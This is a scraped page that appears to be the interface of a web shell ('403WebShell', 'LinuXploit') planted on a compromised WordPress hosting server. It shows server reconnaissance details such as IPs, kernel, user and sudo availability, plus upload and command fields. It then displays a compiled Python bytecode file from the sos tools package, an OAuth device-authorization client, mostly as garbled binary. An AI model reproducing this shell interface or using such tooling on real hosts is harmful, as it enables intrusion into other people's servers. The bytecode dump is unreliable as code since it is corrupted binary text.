Warning: chmod(): No such file or directory in /home/tuempresavirtual.cl/public_html/wp-content/plugins/appointment-hour-booking/app-booking-plugin.php on line 3
403WebShell
403Webshell
Server IP : 186.64.123.29  /  Your IP : 216.73.217.94
Web Server : LiteSpeed
System : Linux house.hostinglat.cl 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : tuemp9827 ( 1016)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/sos/policies/auth/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/sos/policies/auth/__pycache__/__init__.cpython-310.pyc
o

O6ufT �@slddlZzddlZdZWneydZYnwddlZddlmZmZdZdZe�	d�Z
Gdd	�d	�ZdS)
�NTF)�datetime�	timedeltaz	sos-toolsz,urn:ietf:params:oauth:grant-type:device_code�sosc@sZeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zddd�ZdS)�DeviceAuthorizationClassz$
    Device Authorization Class
    cCs*d|_d|_d|_||_||_|��dS�N)�
_access_token�_access_expires_at�&_DeviceAuthorizationClass__device_code�client_identifier_url�token_endpoint�_use_device_code_grant)�selfr
r�r�</usr/lib/python3/dist-packages/sos/policies/auth/__init__.py�__init__sz!DeviceAuthorizationClass.__init__cCs$|��td|j���|��dS)zv
        Start the device auth flow. In the future we will
        store the tokens in an in-memory keyring.

        z<Please visit the following URL to authenticate this device: N)�_request_device_code�print�_verification_uri_complete�poll_for_auth_completion�r
rrrr)s��z/DeviceAuthorizationClass._use_device_code_grantc
Cs�dt��}ddi}tstd��z2tj|j||d�}|��|��}|�d�|_	|�d�|_
|�d�|_|�d	�|_|�d
�|_
Wd
StjyZ}zt�d|j�d|����d
}~ww)zm
        Initialize new Device Authorization Grant attempt by
        requesting a new device code.

        z
client_id=zcontent-typez!application/x-www-form-urlencoded�Rpython3-requests is not installed and is required for obtaining device auth token.)�data�headers�	user_code�verification_uri�interval�device_code�verification_uri_completezNHTTP request failed while attempting to acquire the tokens.Error returned was � N)�DEVICE_AUTH_CLIENT_ID�REQUESTS_LOADED�	Exception�requests�postr
�raise_for_status�json�get�
_user_code�_verification_uri�	_intervalr	r�	HTTPError�status_code)r
rr�res�response�errrr7s6
������z-DeviceAuthorizationClass._request_device_codec
Cs�tt|jd�}ts
td��|jdurut�|j�z9t	j
|j|d�}|j}|dkr4t
�d�|�|���|dvr>t||j��|dkrP|��d	d
vrPt||j��Wnt	jjym}zt
�d|���WYd}~nd}~ww|jdusdSdS)z�
        Continuously poll OIDC token endpoint until the user is successfully
        authenticated or an error occurs.

        )�
grant_type�	client_idrrN�r��z$The SSO authentication is successful)r2�r3�error)�authorization_pending�	slow_downz)Error was found while posting a request: )�GRANT_TYPE_DEVICE_CODErr	r r!r�time�sleepr)r"r#rr+�logger�info�_set_token_datar%�text�
exceptions�RequestExceptionr4)r
�
token_data�check_auth_completionr+r.rrrrUs:�
�

�����z1DeviceAuthorizationClass.poll_for_auth_completioncCsn|�d�|_t��t|�d�d�|_|�d�|_|�d�|_|jdkr*tj|_	dSt��t|jd�|_	dS)a@
        Set the class attributes as per the input token_data received.
        In the future we will persist the token data in a local,
        in-memory keyring, to avoid visting the browser frequently.
        :param token_data: Token data containing access_token, refresh_token
        and their expiry etc.
        �access_token�
expires_in��seconds�
refresh_token�refresh_expires_inrN)
r&rr�utcnowrr�_refresh_token�_refresh_expires_in�max�_refresh_expires_at)r
r@rrrr<vs�


�z(DeviceAuthorizationClass._set_token_datacCs2|��r|jS|��r|��|jS|��|jS)zt
        Get the valid access_token at any given time.
        :return: Access_token
        :rtype: string
        )�is_access_token_validr�is_refresh_token_valid�_use_refresh_token_grantrrrrr�get_access_token�sz)DeviceAuthorizationClass.get_access_tokencC�$|jo|jo|jtdd�t��kS)z�
        Check the validity of access_token. We are considering it invalid 180
        sec. prior to it's exact expiry time.
        :return: True/False

        �rD)rrrrrHrrrrrM�s
��z.DeviceAuthorizationClass.is_access_token_validcCrQ)z�
        Check the validity of refresh_token. We are considering it invalid
        180 sec. prior to it's exact expiry time.

        :return: True/False

        rRrD)rIrLrrrHrrrrrN�s
��z/DeviceAuthorizationClass.is_refresh_token_validNcCs�tstd��td|s
|jn|d�}tj|j|d�}|jdkr'|�|�	��dS|jdkrKd|�	�dvrKt
�d	|j�d
|�	�d�d��|��dStd|j�d
|�	�d����)z�
        Fetch the new access_token and refresh_token using the existing
        refresh_token and persist it.
        :param refresh_token: optional param for refresh_token

        rrF)r0r/rFr1r2r3�invalidr4zAProblem while fetching the new tokens from refresh token grant - rz%. New Device code will be requested !zcSomething went wrong while using the Refresh token grant for fetching tokens: Returned status code z and error N)
r r!rrIr"r#rr+r<r%r:�warningr)r
rF�refresh_token_data�refresh_token_resrrrrO�s:���

��

��
��z1DeviceAuthorizationClass._use_refresh_token_grantr)
�__name__�
__module__�__qualname__�__doc__rrrrr<rPrMrNrOrrrrrs
!r)�loggingr"r �ImportErrorr8rrrr7�	getLoggerr:rrrrr�<module>s
�


Youez - 2016 - github.com/yon3zu
LinuXploit